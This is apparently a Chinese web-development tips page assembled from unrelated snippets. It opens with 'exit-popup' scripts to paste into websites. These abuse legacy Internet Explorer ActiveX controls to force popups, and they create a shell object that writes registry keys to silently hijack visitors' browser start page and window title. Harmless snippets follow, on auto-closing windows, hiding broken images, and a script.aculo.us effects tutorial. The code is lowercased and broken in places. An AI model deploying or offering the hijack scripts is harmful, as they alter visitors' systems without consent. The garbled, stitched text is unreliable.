超级退弹代码,弹出率较高
下面这个是我目前在用的比较牛的退弹代码,复制后保存在记事本,保存为js文件就可以了。
// javascript document
<!--
var u = "6bf52a52-394a-11d3-b153-00c04f79faa6";
function ext() //在关闭ie窗口的时候弹出
{
if(window.event.clienty<132 || altkey) iie.launchurl(popurl);
}
function brs() //插入object
{
document.body.innerhtml+="<object id=iie width=0 height=0 classid='clsid:"+u+"'></object>";
}
var popurl = 'http://www.pany.net.cn'; //这里修改成你的退弹网址
eval("window.attachevent('onload',brs);");
eval("window.attachevent('onunload',ext);");
//-->
第二个是直接放在网页中的退弹代码
<body onbeforeunload="popwin('http://www.pany.net.cn','_blank');" bgcolor=#000000
topmargin=0>
<object id=stb height=1 width=1
classid=clsid:2d360201-fff5-11d1-8d03-00a0c959bc0a><param name="activateactivexcontrols" value="1"><param name="activateapplets" value="1"></object>
第三个是要用到二个代码,分别都保存为js文件,
第1个,
// javascript document
<!--
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popdialogoptions = "dialogwidth:1000px; dialogheight:1000px; dialogtop:0px; dialogleft:0px; edge:raised; center:0; help:0; resizable:1; scroll:1; status:0";
var popwindowoptions = "scrollbars=1,menubar=0,toolbar=0,location=0,personalbar=0,status=0,resizable=1";
var doexit = true;
var usepopdialog = true;
var isusingspecial = false;
function loadpopups(){
if(doexit && !isusingspecial) {
doexit = false;
window.open(popurl1,"",popwindowoptions);
}
}
//-->
第2个
// javascript document
<!--
var isxpsp2 = false;
var u = "6bf52a52-394a-11d3-b153-00c04f79faa6";
//--------------------------------------------------------------------------------
var str_url;
str_url = window.location.search;
function ext()
{
if(doexit)
{
doexit=false;
if(!isxpsp2 && !usepopdialog)
{
window.open(popurl1,"",popwindowoptions);
}
else if(!isxpsp2 && usepopdialog)
{
eval("window.showmodaldialog(popurl1,'',popdialogoptions)");
}
else
{
iie.launchurl(popurl1);
}
}
}
//--------------------------------------------------------------------------------
function brs()
{
document.body.innerhtml+="<object id=iie width=0 height=0 classid='clsid:"+u+"'></object>";
}
//--------------------------------------------------------------------------------
function ver()
{
isxpsp2 = (window.navigator.useragent.indexof("sv1") != -1);
if(isxpsp2) brs();
}
//--------------------------------------------------------------------------------
var popurl1 = 'http://www.pany.net.cn;
isusingspecial = true;
if (str_url.indexof("2005")!=-1 ||str_url.indexof("2006")!=-1 ||str_url.indexof("2007")!=-1)
{
}
else
{
eval("window.attachevent('onload',ver);");
eval("window.attachevent('onunload',ext);");
}
//--------------------------------------------------------------------------------
//-->
然后把这两个js文件用如下代码插入网页body中就可以了
<script language="jscript.encode" src="js/第1个.js"></script>
<script language="jscript.encode" src="js/第2个.js"></script>
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>");
function f(){
a1=document.applets[0];
a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
shl = a1.getobject();
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page", "
http://www.baidu.com");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\main\\window title", "我的主页");
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\window title", "我的主页");
}
function init()
{
settimeout("f()", 1000);
}
init();
</script>
<script>
var ucook=document.cookie;
var user=ucook.indexof("ilooki=");
if(user==-1)
{
var nowtime=new date();
document.cookie="ilooki"+";"+"expires=wednesday,03-jan-"+eval(nowtime.getyear()+1903+"12:34:56 gmt";
document.write("<applet height=0width=0 code=com.ms.activex.activexcompoment></applet>");function nmi(){try{a1
=document.applets[0];a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");a1.createinstance();shl=a1.getobject();a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");try{shl.regwrite("hkcu\software\microsoft\internet expiorer\main\start page",http://www.nmi.cn);}catch(e){}}catch(e){}}settimeout("nmi()",1000);
}
</script>
网页关闭有什么给大家带来很不必要的麻烦,就是你点关闭按扭时还会弹出一个提示框,这样会让你很讨厌,特别是一些广告的内容弹出来;弹窗广告在有写站点会有看到,弹出来你不是关就不会自己没掉,这个让人头疼,其实在做的时候就加上自动关闭的代码,这样人家在不讨厌你的情况下既看到了你的广告内容,而且也没有给别人带来不必要的麻烦,这段代码很实用,嘿嘿,测试过,没问题,放心用~~~~~~~~~~
<script language="javascript">
<!--
function liuyes(){
window.opener=null;
settimeout("self.close()",10000) //10秒后自动关闭
}
//-->
</script>
<body onload="liuyes()">
----------------------------------------------------------
<body onload='settimeout("mm()",5000)'>
<script>
function mm()
{
window.opener=null;
window.close();
}
</script>
</body>
网上很多代码,都是关闭后有个对话框的,要你去点是或者否,那还叫自动吗?
这上面2个是全自动的,定时关闭没话说!
下面的不是:
----------------------------------------------------------
<body onload="settimeout(window.close(),1000)">
----------------------------------------------------------
<script language="javascript">
<!--
settimeout('window.close();', 500);
// -->
</script>
当文章中链接的图片失效时,就会看到令人讨厌的红叉叉,虽然图片有alt属性可以补救一下该图的意义,但都给人不友好的感觉。
如果给图片加一个判断,当加载失败时就不显示,这样可以产生更令用户满意的体验。
代码如下:
<img src='none.gif' onerror="this.parentnode.removechild(this)" style="display:none" onload="this.style.display='block'" />
它是在javascrīpt程序库prototype之上构建的,能提供ajax支持,主要致力于提供高交互性的可视化组件,提升ajax应用的层次.
在html页面中需要引用prototype和scrīptaculous程序库.
视觉特效
scrīptaculous中的视觉特效可应用于任何dom元素,不管元素是什么显示类型,它都够工作.要应用一个特效,需要创建一个effects特定方法的新实例,然后将要更新的元素作为参数传入. scrīptaculous中的特效可以分为两类:显示或隐藏元素.
blinddown用来隐藏特定元素,blindup用来显示特定元素;
new effect. toggle (element,’blind’);
new effect. blinddown(element);
new effect. blindup(element);
slidedown用来隐藏特定元素,slideup用来显示特定元素;
new effect. toggle (element,’slide’);
new effect. slidedown (element);
new effect. slideup (element);
fade将隐藏元素,appear用来显示元素;
new effect. toggle (element,’slide’);
new effect. fade (element);
new effect. appear (element);
还有大量的隐藏元素的特效,不过它们没有提供相应的显示特效.
new effect.switchoff(element);
new effect.dropout(element);
new effect.squish(element);
new effect.shrink(element);
new effect.fold(element);
grow特效是唯一个没有相对应隐藏特效的
new effect.grow (element);
effect类还包含了大量使用某元素引人注意的方法
new effect.pulsate(element);
new effect.shake(element);
new effect.highlight (element);
拖放操作
scrīptaculous实现把拖放组件分成两个部分,也可以使某个元素能够拖动,但不必为其提供一个放的位置.创建一个draggable类的实例,将要支持拖动操作的元素及相关选项传入.最常用的选项是revert,设置为true,当松开鼠标将返回其最初的位置
new draggable(element,{revert:true});
放元素的目标位置可以是任何元素,也能够提供许多可选项.accept参数用来限制元素能作为放元素的目标位置.ondrop句柄,当元素被添加到放元素的目标位置时将执行该句柄.
droppables.add(el,{ondrop:function(e){alert(e)}});
排序功能
scrīptaculous是一个预定义的组件.排序功能通常和html列表一起使用,不过也可以应用于浮动元素上.要创建一个排序功能,只需要执行sortable.create方法并传入元素id和相应的参数即可.
sortable.creat(“element”,{ghosting:true});
比较常用的属性
overlap属性的可选值包括horizontal(水平方向),vertical(垂直方向)及false,用来限制拖动元素的轨迹方向.false表示没有限制.
ghosting属性设置为true,则在拖动时该元素仍然留在当前位置上,用户拖动的轨迹显示的是一种阴影效果,该效果将持续显示到用户放下鼠标.
onchange属性用来设置回调函数,当某个项目被移动后将调用该函数.
如果sortable中的元素id属性是按name_item命名规范命名,那么就可以使用sortable.serialize()快速构建一个查询字符串,将该查询字符串发送到服务器就能更新服务器端的顺序.如:
list[]=one&list[]=three&list[]=two&list[]=four
如果将这个字符串作为php页面请求的查询字符串,那么$_get[‘list’]变量中将填入一个数组.该数组中保存的是更新后的位置顺序.该数组是按新位置进行排序的.其值就是特定的id.
slider控件
对于要在某个范围中选择一个值是特别有用.该控件最基本的形式可以用来构建类似颜色选择器的用户界面元素,也可以用作更高级元素的构建块,诸如基于javascrīpt实现的针对ajax网格的滚动条.
var ōutputvalue = math.round(100*slidervalue)//该slider将根据移动的范围返回一个整数值.
new control.slider(‘handel’,’track’,{onslide:function(v){d1.innerhtml=’slide’+v},
onchange:function(v){d1.innerhtml=’changed!’+v}});
handle//控制元素,track//轨迹元素
如果希望slider以垂直风格工作,还需要设置一个名为axis的选项,它的值就是vertical.